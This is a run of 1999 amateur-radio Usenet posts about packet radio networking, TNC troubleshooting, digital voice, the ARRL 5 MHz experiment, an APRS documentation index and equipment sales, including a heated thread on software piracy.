network routes the packet based on only the AX.25 call of the destination,
which should then re-examine it at the IP level.

The Flexnet network does not provide the connecting IP systems with any
information that would be required to build that routing table and ARP
table (like "what IP address is associated with a destination AX.25
callsing" or "what IP subnet can be reached via this destination"), so
all table building has to be done manually by the IP system operator.

It is clear that this will lead to a non-optimal IP network: not every IP station will setup a routing table to all other known IP nodes in the network, but rather it will define some "next hop" IP routers, setup all routes via those, and use the flexnet network as a mechanism to reach them. This will quickly lead to packets being sent over more links than required, back-and-forth over the same link, etc.
It also performs poorly for multicasting applications.

What is really needed is an IP-routing network at the level of the network nodes. A routing protocol with the stability of the flexnet protocol should be developed, but it should not route AX.25 but IP. The advantage is that modern network applications and equipment can directly use the network at the IP level. Compatability with legacy applications (that want an AX.25 circuit between the endpoints of the connection) can easily be added: just let the network nodes accept an AX.25 connection from a user, setup a TCP/IP circuit to the destination node he specifies, and transport the data there using TCP. The destination node recognizes this situation (by the TCP port number), accepts information about the downlink callsign over the circuit, and sets up an AX.25 downlink accordingly.

In fact, the AX.25 users do not need to be aware that TCP/IP is involved. And the IP users can use the network at its raw level, just as they use the Internet. Internet applications, that are available for free on todays popular platforms, can be run on this network.

It has been my desire to design and implement such a network for many years. Unfortunately, problems with my health and personal situation have kept me from doing any real work in the packet radio software area for a long time. Also, seeing that many AX.25 users don't have the vision to see the advantage of an IP network, and mostly proclaiming that Flexnet is the ideal network for amateur radio and everything else is crap before it is tried, has convinced me that I should not try to convert them. Maybe someone else has the fresh spirit to dive into this?

I have done some work in the preparation of such a network, and some of it is in actual operation in the Dutch packet radio network (although the use of my software is decreasing because I have not extended it lately):

- a link quality measurement protocol to determine the usability of a link between two nodes, independently in each direction

- a node information multicasting protocol, to propagate information about each node using IP multicasting. this was intended to be the base for an "AX.25 node table" that the AX.25 users would see, but it also includes other info that is so notably missing from most amateur network protocols (where is this node located? who is responsible for it? what local accesses does it have? what software is it running? etc)

- discussions about a routing protocol, that has lead to a protocol that can deal with links that work unidirectionally (a student has written a

thesis about the protocol and has done simulation runs)

- I have registered port numbers and a multicast address

It would be nice if this work would be picked up to produce an IP packet network that is really usable and can provide service to AX.25 users as well. Using the Linux system for nodes would be nice, but I expect that a routing-only node would have to be done that runs on small single board systems as well (over here in the Netherlands we use PCs at nodes and running Linux at each node would be no problem, but in other countries single board systems, often even with 8-bit processors, are popular).

I guess I should document the protocols that exist today, so that people can write Linux implementations...

Hi .....

I have developed a RTTY & CW program in order to work with the KAM
and PK-232 terminals.
This is a program for Windows 95/ 98/ NT.
It provides 12 Buffers for each mode and easy configuration and
operation. Macros in order to facilitate the operation. etc..
It works only in Terminal mode not in Host mode.

And maybe the best of everything, is freeware.
If you want to download try here:
http://www.geocities.com/CapeCanaveral/6030/Wintty

Hello there,

Have an look at Bills VE2IQ Webiste for C-Bpsk modulating and demodulating
hard and software.
Also Kits can be obtained RX and /or TX PCB's and parts.

BTW an regular DX sked is on 14.081.000 allmost every day at 16.45-17.00 UTC
in the mode Coherent BPSK.

In Europe skeds are:
on Sunday 1700 UTC 3.581.000
and Wednesday 20.00 UTC at 3.581.000
Mode mostly ET1 but with heavy Qrm and phaseshift mode ET2.

I don't think so.... seems I read someplace that once you put your
garbage out on the curb, it's in the 'public domain'. Which is why the
police can go thru it and use it for evidence. But hopefully we have
different laws for software than we do for garbage.

Virtually all of todays software is 'try it before you buy it', so the 'I
bought it and it was junk' doesn't really apply any more. Most of the
ham stuff is like that, I've tried a bunch of it, which is why I haven't
bought it..... Number one problem with ham software is that it hasn't
been idiot proofed, which all good software is. I tried a logging
program the other day that sells for a hundred dollars - if you turn off
your radio, and you have radio control configured, the computer locks
up until you turn it back on. That's garbage....

I agree with the old Qwasty when he says a lot of software is crap,
but I don't agree that gives him the constitutional right to steal it.

Nice bit of rationalization you've done there. Unfortunately, it isn't
rational.

If you steal somebody's car, even if it is junk, it is still theft. If you
steal someone's GARBAGE, it is still theft. You are not alleviated from the
legal (or ethical) considerations just because you feel that software isn't
worth the price you pay for it.

You don't like Microsoft? Then DON'T USE OR BUY MICROSOFT PRODUCTS. Vote
with your dollars. Eventually even they may have to listen. But don't
confuse your petty theft with some kind of political statement.

Mark

I don't see any difference betweencomputer programers,and musicians.with
music and video taping there is a hidden
tax in the price that goes to musicians and producers for compansation.
what makes programers,wheather ham,or what ever makes them fucking
special prima-donnas that there work can't be copied?
like when there were 'LPs' or 8 tracks and you or a friend had the
latest release from a music group something you made a copy cassett..no
BIG DEAL then also like video taping off HBO.And another thing about
programers that piss me off is that in a lot of cases if you have more
than 1 computer in your house,they want to charge you for putting it on
the others.Your not charged for buying the lastest music cd and charge
you to for the number of cd players you own (ie:home stero,walkman,car,
boom-box)that you could play them in !If those programer are that
paranoid,then they should have tried for a ban on the sale floppy disks,

You can put your program on more than one computer, just one at a time.
That's no different than a CD. You can't play the CD on more than one
player at a time either.

: Can you say... "synthesist"?

Yep... I can say it... I can also define it in real world terms
(having been forced to corral one or more of them on projects I've
worked on...)

A "synthesist" is someone that has no real skill... fancies himself
a "jack of all trades"... Is proud of the fact that he perceives himself
as having command of many fields (when in reality he is nothing more
than a loose cannon...), when he has, in actuality nothing more than
a superficial command of the things he *THINKS* he has full command of...
He is also someone that has "self elected" himself to a position of
great authority, usually without the aid of "credentials" (representing,
of course, real work accomplished...) His resume usually reads like a
giant fantasy pinball machine, and when pressed on technical issues,
he folds up like a sack of wet laundry... His career, and usually his
life, have no real focus to speak of, and he's usually, at best a
marginal sociopath... People that give themselves labels like
"synthesist" are IMHO, not likely to be what they think they are...

So, Charles... What KIND of engineering work have you done???

That's a pretty straightforward question... Can you answer it?
What HAVE you designed and built YOURSELF? What qualifies you
to criticize me as a non-amateur regarding my ability to assist
ham related endeavors in digital radio???

Best Regards,

John Wiley

406. Problem with XPwin Booting with PK232mbx

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-21 00:00:00 UTC
From: James Nipper <jnipper@southeast.net>
Message-ID: <36A7F0C4.1FBA@southeast.net>
Source record: 20153

I have used a PK232mbx for many years. Six months ago, my tnc got torched by a surge, and I just acquired another one, and have wired it up to my Yaesu 1000MP.

I am trying out the XPware for Windows (XPwin). I can't get it to fully "talk" with the tnc. It goes through a autobaud routine, obviously searching for the proper baud rate. It will "read" the correct tnc type, then read the firmware version, but it never seems to settle down on the correct baud rate. When it tries to "see" the rom date, it just sets there, and then the program freezes up.

I know that when I used this setup before, I used the 9600 baud rate. I am trying to set up for hf pactor. When the tnc is turned on, the baudot led lights up like it should. I really think the tnc is ok, but not sure, and don't know how to tell.

I took the batter jumper off for a fews mins, hoping it would "reset" any old parameters, and put the jumper back on, but no help.

Can anyone PLEASE help me ?? I will appreciate any response. I am very anxious to get back on pactor.

I don't know how you can set the baud rate on the tnc if you can't get your program booted up.

Again, thanks for any help... 73 de Jim K4PYT

Ah, something from the days of tubes. Or, so it seems. I have in my
hot little hand a UDC232. For the unknowing, it's an Universal Data
Controller made by AEA. As I understand it, it's the predicessor to the
PK232. The problem is that AEA made them without a modem. I'm not sure
what their motivation was at the time but I'm in need of one if I expect
to get this thing to work. Anybody out there know anything about the
UDC232 and its modem requirements?

You're in the wrong newsgroup. Amateur radio rules in the USA don't
allow encryption of messages for the purposes of obscuring them, which
I believe is the definition of "secure communications"

You might have better luck in rec.radio.digital.

Jim,

I use a similar set-up but haven't had the same trouble as you describe. Do you have another terminal program like Procomm, Winpak or PAKET, etc. that you can run, preferably one that is not a "host mode" program like XPWin or Pc-Pakratt? That way you could set the baud rate to whatever you require before trying XPWin again.

It could be that the PK232 is hung-up in host mode, if you have another terminal program and the PK won't talk to that either then try typing * for the autobaud routine. If that doesn't do it try Ctrl-A followed by OHON and then Ctrl-W (with no spaces). Oh, and one other thing, make sure you haven't enabled the rig control facility in XPWin using the same port as the TNC, if in doubt disable this altogether, I had a clash of COM2 and COM4 when I tried it - they use the same interrupt, which I'd overlooked.

Hope this helps,

Roger Basford (G3VKM)

415. Re: New to Digital Radio

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-22 00:00:00 UTC
From: Steve Sampson <ssampson@usa-site.net>
Message-ID: <pU_p2.700$4a1.3837369@news.goodnet.com>
Source record: 20162

Transmitting digital voice has a very high bandwidth requirement.
When you talk on the telephone your voice has a bandwidth of
300 Hz to 3.7 kHz (or so). This is less than 4 kHz bandwidth.

A conventional radio, 2 meters, CB, etc. can transmit this directly.

When you digitize something, you have to be sure to sample the
audio at both the positive and negative points of the waveform.

Picture a sine wave. You couldn't recreate it with only positive
samples, you would have large distortion.

So, you need to sample the waveform at least twice the highest
expected audio frequency, and preferably even 4, 8, or 16 times
as fast. Let's say we sample at twice as fast. That would be
about 8 kHz. Now we must be able to recreate the waveform,
so we have to encode what voltage level we found at that sample.

We can use 8 bits to encode the amplitude of each sample.

So we have 8000 samples of 8 bits. Multiply the two, and we get
64,000 bits. You are going to need a radio path that can handle
64 kHz bandwidth at 1/2 mile. We know this can be done, because
commercial FM radio stations transmit a 100 kHz bandwidth.

There are ways to reduce the bandwidth. On your computer you
use ZIP or gzip to compress your files. A run of data can be
compressed 50% at times. This would be a 2:1 compression
ratio. Well, you need about 24:1 or greater. We want to transmit
in a narrow band, so we can get good range for the power.
Unlicensed devices are in the 100 milliwatt range.

So we need about 24:1 compression ratio, to get that down
below 4 kHz bandwidth again. That's where a vocoder comes in.
a vocoder (voice encoder) doesn't transmit the raw data, it
transmits what the raw data is doing over a longer sample rate.
For example, what it does over 20 milliseconds. Some simulate
the human voice box, but sound like computers talking.

So here's your circuit:

A microphone/headset that connects to a digitizer A/D and D/A.
The digitizer then connects to a vocoder, and the vocoder connects
to a standard 5 kHz bandwidth radio.

Have a look at:

http://www.dvsinc.com/a1000.htm

This is the best product available today.

Possible? Maybe. Depending on the municipality and where it stands on the timeline between the 1940's and the 1990's. Most local government agencies (and I work for one) if they have something set up for this type of correspondence, it's most likely going over phone lines (in an intercom type of dedicated system), or by FAX, or by computer. If you're in Mayberry RFD, and Andy needs to send Opie a message, then yes...it might go over the air, but even Mayberry isn't that far behind the times.

I have a 757gx (not II) and use the phone patch input on the back panel
to connect my TNC. There are three RCA connectors (PATCH/AFSK, PTT and
AF OUT) that work like a champ for me. You can leave the TNC hooked up
all the time and not worry about losing use of the front panel mic
connector.

Perhaps the GXII has the same type connections?

Good luck.

[....]

BTW I am wondering why does the digital voice does not exist in
HAM-radio? The 9600 modem should be more than enough to transmit the
voice. I am going to try to fit the voice into less than 1kbps. I believe
it is possible, I have to do some tests. And 1kbps could be sent in some
part of 10m band. Is there any international law forbidding HAMs doing
such things?
Does anyone of you have some experience in compressing the
digital voice? I've read some articles about vocoders and it seems to me
to be promising. But I feel that the way to do it is rather far.
Another question : does anyone need digital voice communication in
HAM radio? I believe one could achieve less noise and spletterings when
using digital voice transmition. And, probably, there would be some other
problems (not good enough error correction etc.)...

A couple of years ago HAMs were doing tests in new areas of
radiocommunication. Nowadays anyone can use digital voice communication
(i.e. by buying a cellular phone) but in HAM radio such thing seems to
be dead - I've heard of some trials, but it is everything. Why?

Look for some radios which operate in the Family Radio Service (FRS)
band. They are low power, generally run off AA cells, work for up to 2
miles depending on location, and send the signals using Spread
Spectrum signals which just sound like background noise to the casual
listener.

Yes, and the number is growing. StarOffice (http://www.stardivision.de)
and Corel (http://linux.corel.com) have some applications with free
versions for personal use. Applixware is included in at least some
versions of Red Hat.

There a competitor for just about everything on linux. Even when there isn't, if you're using an emulator, you can still use software from othe operating systems, like windows. and the best part is that just about everything under the category of linux is pretty close to free. After all, if it's free competition isn't an issue so there's no rush to get it to market before the bugs are fixed.

>is no need to do ARQ on that hop.

Indeed. Link level ARQ can actually degrade performance in certain cases.
Each link needs to be treated separately, using whatever link protocol is
best suited to its particular circumstances. Adjacent links in a path may
use completely different L2 protocols when the links are of differing quality
or kind. The L3 network protocol shouldn't care, or even know, about this.

AX25 VC is *not* a good network protocol for wireless links. VC in general
works best on wirelines or other stable known paths, not on the sorts of
dynamic radio links found in amateur radio. On radio links, connectionless
protocols can perform better, suffer less overhead and congestion,
avoid link latency indeterminacy problems, have better error recovery
properties, and avoid the temptation to extend links to multi-hop, with the
attendant attempts to perform routing at an inappropriate level.

VC depends on the stability of a single critical path. That's a serious
design flaw in a dynamic network. As Rob notes, connectionless protocols
offer the capability to reroute dynamically on a packet by packet basis.
This allows rapid adaptation to varying propagation, or to node availability
due to local congestion or hardware failures. A VC network can't gracefully
dynamically self-heal, a connectionless network can.

Don't even bother with the "TNC" style boxes, Ken. None of them work worth
spit. The best approach to Morse decoding by computer is to use a program
that uses your sound card and a bit of DSP software to do the work. Polar
Electric has a good program, Analyzer 2000 works well, etc. There are even
a few freeware programs floating around that will beat the "TNCs" all hollow.

>I don't know how you can set the baud rate on the tnc if you can't get
>your program booted up.

Simplify. Try using Hyperterm (included in Win95) to talk to the
TNC. Set it for direct connect, 9600, no parity, 8 bits. When you power
up the TNC, hit * a few times and it should autobaud for you. If 9600
doesn't work, try a different setting in Hyperterm until you find the one
that does work. Then you can set and perm the baud you want to use
on the serial link.

Remember that TNCs were designed to work with dumb terminals,
not fancy packet programs, and Hyterterm is an approximation of a
dumb terminal, so this will eliminate the variable of your packet
specific terminal software.

Yep, not nearly the RTTY on HF that there was even 10 years ago. FEMA uses
some Pactor, and there are SHARES and MARS pactor BBS's on HF as well.
Our agency uses email mostly for info back and forth between us and local
govts.
This is pretty typical in this "thoroughly modern day" :-)

I really *do* miss all the RTTY that used to be on HF. *sigh*

Cross-posted to: rec.radio.amateur.digital.misc,alt.ham-radio.digital-voice

Anybody out there experimenting with digital voice in the HF bands? The broadcast folks are working on it -- I think using MPEG2 compression to get the data rate down to something reasonable. Perhaps a simple setup could work over a protocol like Clover2000. Obviously it would require an STA, but it seems that it should be feasible with the right DSP setup.

I think Marek is wrong. I don't really feel this group is so busy, that
constructive comments can't be made about digital voice. Whether or
not that digital voice is later passed through an encryption algorithm.

The audio and radio parts will be identical.

So rather than wave my rule book in anyones face, I'm waving my
chip catalog. There's always some legal eagle who wants to be a
lawyer someday in every group. Just ignore the bastards :-)

There was a recent posting in the TAPR Spread Spectrum listserver
which discussed a project that one of the members was working on.
He was designing an audio card that had audio in, and digital out,
using the vocoder I pointed to in an earlier posting. I think that is a
good thing. With that, and the fact that the chip can do FEC, it is an
ideal candidate for digital voice over a 2.4 kbps to 9.6 kbps circuit.

>FCC Issues 5-MHz Experimental License To ARRL
>NEWINGTON, CT, Jan 21, 1999--The FCC has issued an Experimental Radio
>Service license to the ARRL to permit two-way tests in the vicinity of 5
>MHz--the most likely site of the next amateur HF band. The license, bearing
>the call sign WA2XSY, was issued January 8. A group of 15 current amateurs
>in various parts of the US and the Caribbean will conduct experimental,
>two-way RTTY and SSB transmissions within the band 5.100 to 5.450 MHz. To
>avoid interfering with existing services, the participants will confine
>their operations to the least-populated 50-kHz segment.
>
>"The idea is to show that an amateur allocation there will improve our
>emergency communication capabilities by filling the gap between the 3.5 and
>7.0 MHz bands," said ARRL Executive Vice President David Sumner, K1ZZ.
>Sumner pointed out that several of the participants are phone net members
in
>the Caribbean and Gulf area who frequently handle hurricane-related traffic
>and now must alternate between 75 meters and 40 meters. Other participants
>are members of a nationwide digital data-forwarding network.
>
>The Experimental license is good for two years. Two studies by the National
>Telecommunications and Information Administration (NTIA) include an
>allocation at 5 MHz among the future spectrum needs for the Amateur
Service.
>The subject is not likely to show up on the agenda of a World
>Radiocommunication Conference for several years, however.
>
>Participants in the WA2XSY experiment may run up to 200 W effective
radiated
>power. Similar multiband trap dipoles capable of operation on 80 and 40
>meters as well as at 5 MHz will be employed at each station location.
>Operation by participants will consist of short transmissions to determine
>propagation characteristics.

Source record: 20185

During periods of low solar flux activity, the 5 MHz region
of the HF spectrum is ideal for 0-400 mile, NVIS operations.

When solar flux numbers are down in the 70-100 region, the
MUF will be below 3.5 MHz after dark, and below 7.0 MHz
during the day when trying to communicate via high-angle
skywave at distances closer than 100 miles.

The 5 MHz band makes perfect sense, and in the time-span
of 5-7 years from now would be an ideal time on the
solar activity curve for us to take advantage of a 5 MHz
band for this purpose. Also, HF comms has the added advantage
of not having to rely on satellites or repeaters that could
be knocked-out in a real disaster scenerio. This, coupled
with the newer ARQ modes makes messaging to and from specific
points on a 24-hr basis a reality by having a 3.5-4, 5 , and
7 MHz band for close-in regional communications..

Mark,

It's called the law of supply and demand. Since most US hams are content to be appliance operators chasing QSLs to get another award plaque and have no interest in experimenting or expanding their knowledge, there is no demand for advanced equipment. Besides, most of the noise and sputtering comes from the operators, not the equipment.

I know of one group, TAPR, that is experimenting with spread spectrum and advanced digital techniques. They have even managed to get the FCC to relax some rules in order to use off the shelf commercial SS equipment in some of their tests. They do have an active web site with information about their experiments. I think it's at www.tapr.org. Whether they manage to produce a new mode of communications is another matter altogether.

9600 bps might handle voice if it were full bandwidth capable, but most packet equipment is half-duplex so the actual throughput is much less than your 1K. On top of that, 99% of the packet systems in the US are still running at 1200bps for anything other than backbone links.

Compressions like Real Audio's G2 and MP3 claim to be able to move voice through an 8kbps channel or less, but require at least a P90 to reconstruct the signal. I experimented with delta modulation several years ago ('74-'76), and was able to get recognizeable voice through a serial bit stream at about 40Kbps but didn't have the money to build any usefull devices with what I learned. Now you can get delta mod circuits on a chip for a couple of dollars.

Is encryption legal for hams in your country? If it is you might as well dig in and try it out. First you need to figure out if it is worth the effort to digitize the signal and then put it through a modem to convert it back to audio for analog radios? Then start looking around for digital radio designs that you can build or afford to buy.

Good luck,
Bob McConnell

HI!

What radios is good for 9600bps? Where can I find them? I want one that is of very good quality that can be used as a 9600bps repeater. So more in the commercial type about 15 to 20 watts.

Are there any radios that will work without modification?

This thread reminds me of my pioneering work with digital voice on packet, eight or
nine years ago.

It was slow, and dumb, but it also worked... All I did was to make a Windows wav file recording of my voice... I forget the message now. The file was just over a megabyte in size.

Then I used 7-Plus to convert the file from digital to ASCII and cut it into convenient 20kb chunks.

Overnight and part of the next day, I forwarded those files over the border to a Mexican BBS, XE2XPK.

Sergio used 7-Plus to re-combine the 20kb chunks of acii back into a Windows wav file, then he played it.

It worked just fine. -- First digital voice transmissions over Packet, folks. Check it out! ;-D

Hey, that reminds me of my pioneering work in using FEC on packet with an early "digital repeater"...

I thought I had properly re-configured my PK-232 from HF AMTOR to be set up for VHF packet.

I had made a few oversights though... The PK-232 was still in AMTOR FEC mode, and my two-meter rig was still tuned to the local voice repeater!

Imagine my pride and delight when I discovered that I was the first Ham to transmit in FEC mode over what was - at least for the moment - one of Ham Radio's
very first "digital repeaters"!"

I was modest at the time, even going so far as to try to give credit for the transmission to another Ham who lived nearby.

That's the way it is with Ham Radio's pioneers... Many times we try to avoid credit for what we have done. Sometimes, "modesty" is the best policy!

>setup.

Surely, I've seen it work at 300 bps and during the Nordic shortwave
conference there was talk about it being done at around 150 bps.
There's a Nato STANAG that describes the 300 bps mode so Clover2000
should work fine.

I have successfully used my PalmPilot II with a KAM+. Simply load a terminal program into the PalmPilot, connect the Pilot and the KAM+ using a null modem, and away you go. There's a free terminal program called (I think) SimpleTerm from 'Haus of Maus'.

Actually any device capable of emulating a dumb terminal can be used with a tnc. E.g. I have used an HP 48G Screen's a bit small though....

Hope this helps,

Good Luck,

Philip VE7PLN

449. Problem with Winpack 6.42 and Delphi 2.0

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-24 00:00:00 UTC
From: dsfa@mail.islandnet.com
Message-ID: <78eivq$6th$2@news.islandnet.com>
Source record: 19999

Hello all,

I am posting this request for help in 2 usenet groups:

comp.lang.borland.pascal.delphi.misc
rec.radio.amateur.digital

and it concerns a problem I am having with Winpack 6.42 and Delphi 2.0.

For those reading this in the comp.lang.borland.pascal.delphi.misc, Winpack is a popular application program used in Packet Radio.

For those reading this in rec.radio.amateur.digital, Delphi is a Windows programming language similar to Visual Basic.

The problem concerns dde. An external program I had written worked fine under Winpack 6.40 but not under Winpack 6.42. I wish to know if it's a programming error on my part (quite possible) or a bug in Winpack 6.42 (possible but unlikely), and would appreciate any help and/or suggestions.

I have distilled the problem program to its essentials. Please do the following steps:

1. In a new application, place on Form1 one each of the following: ddeclientconv1, button1.

2. In the property editor for ddeclientconv1 enter the following properties:

DDeService - packet
DdeTopic - winpdde

3. In Button1 click enter the following:

```
begin
DDEClientConv1.ExecuteMacro('Hello', True);
end;
```

4. Save and compile (make sure Winpack is running.)

5. Copy the resulting project1.exe file to the Winpack\Extern directory.

6. Switch to Winpack and type '/project1' in the command line.

7. Under Winpack 6.40, 'hello' appears in the receive window (as expected). Under Winpack 6.42 nothing happens until project1 is closed. Then 'hello' appears in the receive window.

8. Another quirk: if project1 is launched off Windows explorer, then it works as expected!

(I have tried this using Delphi 1 with the same results.)

This problem has exausted me. If any packeteer who is also a Delphi expert could have a suggestion, I would be very grateful.

Philip Lin VE7PLN

There's been a lot of homebrew with conventional wideband methods.
There hasn't been any homebrew with Spread Spectrum, other than
adapting commercial stuff.

Part 15 is still the only affordable method, and that requires more
sites, and less range.

I think I gave everyone the impression that I was an avid software pirateer - which I'm not. A few days ago I did spend 50 bucks for a microsoft product, and I'll be spending another 250 dollars in the next week for a mathematics program. both of which are available in warez but I will be using the software all the time and I don't have time to play with it and figure it out without manuals. All the rest of my software is freeware I got from tucows.com...before I spend a load of cash on a program, I always see if it's available in warez first - uncrippled with no time limits. then I can see if it's worth my buck. I can't tell you how much money I've saved by using actual programs rather than "crippled" demos which only give me a month to decide if it's the best one out there. for extremely complicated programs like mathcad, I just don't feel like I know the program after a few hours of tinkering. REcently I've found a game that I really like, quake2. quake3 comes out in march...I'm going to put my dollar down for that too. If I really like the software and I have time to get to know it, I have no problem with paying for a complete and legitimate version.

just my 2 cents

464. SAVE THIS FILE: >>>> APRS DOS Documentation Index

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-25 00:00:00 UTC
From: Ian Wade <ian@dowrmain.demon.co.uk>
Message-ID: <29EdsSAEiJr2Ewtp@dowrmain.demon.co.uk>
Source record: 20014
Cross-posted to: rec.radio.amateur.digital.misc,uk.radio.amateur

Following recent requests from several people, I have now produced an index
to the APRS documentation files contained in the README subdirectory of the
current APRSDOS distribution -- specifically:

ftp://ftp.tapr.org/aprssig/dosstuff/APRSdos/aprs828.zip

The index, listed below, will be included in future APRSDOS distributions.

In addition to providing the index, I have added a standard header to each
documentation file, showing the document's version number, date and author.
So now we know how old it is, and whom to blame!

One thing that struck me when producing the index is the enormous amount of
detailed and really useful information in these files. If you want to find
out about APRS, this is the place to look.

Here is the index file:

```
-------------------------------- snip ----------------------------------

APRSDOS DOCUMENTATION PACKAGE

=============================================================================
_INDXDOS.TXT APRS DOS DOCUMENTATION PACKAGE INDEX
=============================================================================

Document version: 1.00
Document dated: 24 Jan 99
Author(s): Ian Wade, G3NRW <ianwade@netro.co.uk>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ABSTRACT
_INDXDOS.TXT A listing of files in the APRS DOS Documentation package.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

-----------------------------------
APRS DOS DOCUMENTATION PACKAGE INDEX
-----------------------------------

This index file contains short descriptions of all the documentation files
in the APRS DOS package. These files are located in the README
subdirectory.

Start reading at README.1ST.

*****************************************************************************

_INDXDOS.TXT A listing of files in the APRS DOS Documentation package.
(this file).
```

ACARS.TXT An introduction to using the Aircraft Communications Addressing and Reporting System (ACARS) with APRS.

AEA.TXT Details of how to use AEA PK-232 TNC commands with APRS where they differ from the TAPR-2 standard.

AIRCRAFT.TXT Notes about aircraft, ACARS, balloons, Civil Air Patrol, and the APRS interface to ARNAV serial data format.

APRS.TXT A top level introduction to APRS, describing its many features, and summarizing the various flavors available.

APRSDEMO.TXT Description of APRSDEMO.EXE, including details of how to tailor the script file for new demos.

APRSNET.TXT An overview of APRS NET that links together APRS and the Internet via IGATEs and APRServe sites, providing worldwide APRS connectivity.

APRTRAK-.TXT Brief information on the APRTRAK program for satellite tracking.

ARTICLES.TXT A brief history and bibliography of APRS.

BBSNOTES.TXT Suggestions for using PBBSs, and for including APRS protocols in BBS and node software.

BOATS.TXT Suggested use of APRS in the Waterway Net.

CAVES.TXT Suggestions for using APRS for cave communications.

CELLULAR.TXT Preliminary announcement of the Cellular APRS Transmitter (CAT), which interfaces a GPS to any cellular phone.

COMMERCL.TXT Summary of commercial versions of APRS.

COUNTIES.TXT A description of how to make National Weather Service warnings show up on APRS maps.

DEMOS.TXT Another description of APRSDEMO.EXE.

DF.TXT How to use APRS for direction finding.

DIGIS.TXT How to set up digipeaters for APRS (use of RELAY, WIDE, WIDE-n, TRACE, UIFLOOD, UITRACE etc).

DIGITIZR.TXT How to use digitizers to draw APRS maps.

DOWNLOAD.TXT Phone numbers of download BBSs, web sites and ftp sites for APRS, plus useful contact names and email addresses.

DR.TXT Dead reckoning in APRS, and how to track planned events (such as marathons) without a GPS receiver.

DXCLUSTR.TXT Using APRS for monitoring DX Clusters.

FRQCOORD.TXT A brief discussion of how to use APRS as a frequency coordination tool.

GARMIN20.TXT How to interface a Garmin GPS-20 to APRS, and how to make
a patch antenna.

GARMN45.TXT A BASIC program to take a DATA download from a GARMIN6
decoder in ASCII format and re-format it to look like an
APRS HST file.

GPS.TXT An overview of GPS with APRS, plus GPS equipment summary,
detailed schematics of GPS interfaces, detailed schematic
of the Hardware Single Port (HSP) interface to allow a
GPS and a TNC to share a single COM port, and information
on differential GPS correction.

GPS-MFJ.TXT How to set up the MFJ-1278B and MFJ-1278BT TNCs, using
the TNC NMEA commands.

HELP.TXT A summary of APRS screens, menus, message commands,
special keys, cursor and map keys, special functions,
alternate keys.

HF.TXT Using APRS on HF: frequencies, tuning, operations.

HISTORY.TXT [superceded: renamed to ARTICLES.TXT]

IDEAS.TXT A melting pot of suggested ideas for APRS software
writers.

INSTALL.TXT Detailed instructions for installing APRS.

KEYS.TXT APRS key commands reference.

KPC3.TXT Comments on the usage of the KPC-3 LTRACK buffer.

LEONIDS.TXT A listing of APRS stations seen during the Leonids meteor
shower of 17-18 November 1998.

LICENSE.TXT Details of licensing requirements for APRS, plus listing
of all the major variants (e.g. WinAPRS, MacAPRS,
palmAPRS etc).

LO-JACK.TXT The story of how APRS helped track down a stolen car.

MAPFIX.TXT Notes on using MAPFIX for drawing, building and fixing
APRS maps.

MAP-HST.TXT How to use MAPFIX to make maps from track histories.

MAPMAKIN.TXT All about making maps. The works.

MAPS.TXT Introduction to APRS maps.

MAPS100K.TXT Final notes on building 100K maps.

MAPS-CD.TXT How to build APRS maps from the USGS CD-ROM.

MARATHON.TXT Important notes for field operation.

METEOR.TXT Introduction to meteor scatter and APRS. How to set up suitable posit for MS. MS operations. MS on 2m and 6m.

MIC-E.TXT Introduction to the APRS Mic-Encoder, which allows any unmodified radio to transmit APRS information in a very brief tone burst at the end of each voice transmission, without the need for a TNC. Detailed interfacing and setup instructions for the encoder.

MILEMARK.TXT How to use Interstate milemarkers.

MIRTEST.TXT A report on the APRS/MIR test on 11 March 1998.

MOBILE.TXT Many useful tips for mobile APRS users.

NEWNOTES.TXT Detailed release history of each version of APRS DOS from version 6.0.

NTS.TXT How to use APRS to send and receive NTS messages in the format of a radiogram.

OPS.TXT The finer points of operating an APRS net, both for routine and for special events. Rules for digipeater and gateway settings, objects, message handling. Use of the ZIP-LAN to connect several PCs to one TNC.

OVERLAYS.TXT Introduction to map overlays, which allow the super-imposition of temporary data onto maps.

PACSATS.TXT Introduction to using APRS with PACSATs. Details of a very simple add-on unit to a TAPR-2 compatible TNC, to generate Manchester-encoded data for the uplink.

PROTOCOL.TXT Details of APRS protocols and data formats.

README.1ST Welcome to the new APRS user. What it is, where to get it.

REGISTER.TXT APRS Registration Form.

SCREEN.TXT Details of the APRS map screen layout.

SPACE.TXT: Introduction to using APRS for space communications.

SYMBOLS.TXT Details of all APRS display symbols.

TELEMTRY.TXT: Details on using the Micro Interface Module (MIM) in an APRS telemetry system. The MIM module is a complete telemetry TNC transmitter on a chip.

TROUBLE.TXT Handy guide to all kinds of APRS troubleshooting: installation, configuration, operation, hardware, software. Includes section on Hardware Single Port (HSP) problems.

UHF-FREQ.TXT Proposal for US-wide 70cm GPS simplex calling frequency.

WINDOZ.TXT Comments on running APRSDOS under Windows.

WX.TXT Full operational details on how to use APRS in weather
and Skywarn applications. Weatherstation interfacing.

ZIP-LAN.TXT Full hardware and software details of ZIP-LAN, which
allows the interconnection of many co-located APRS PCs
in the field to a single TNC, using single-wire/ground
ZIP-cord.

Are you looking for a great 9600 baud radio or possibly
a DDR (digital duplex repeater)?

I have 3 Motorola Mitrek Radios for sale.

The model number is...T43JJA3900DK

They have 4 transmit and 4 receive elements each, heads,
cables, mics and manuals (1-set). I paid over $100.00 each
and will sell them for $75.00 each complete.

You pick up the freight unless you buy all three.

468. FS: Icom Z1A and HP 300LX palmtop

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-25 00:00:00 UTC
From: Mike & Lisa <cuteduo@i1.net>
Message-ID: <36AD17B8.8F620594@i1.net>
Source record: 20018
Cross-posted to: rec.radio.swap,rec.radio.amateur.digital.misc

Hello all, I am getting out of packet and into
some of the more exotic stuff like 10GHz on up.
I have two items for sale:

1 - Icom Z1A 2M/440 HT
This HT has a removable face plate that can be
attached to a cord and used as a microphone that
can control most functions of the radio. It can
display V/U, V/V, U/U or just V or U and monitor
both frequencies simultaneously. Comes with
microphone attatchment, 7.2V Ni-Cd, and manual.
Has had TX mod done to it and RX (key combination)
has been opened up. $225 or best offer.

1 - HP 300LX palmtop
This little palmtop computer was HP's entry into
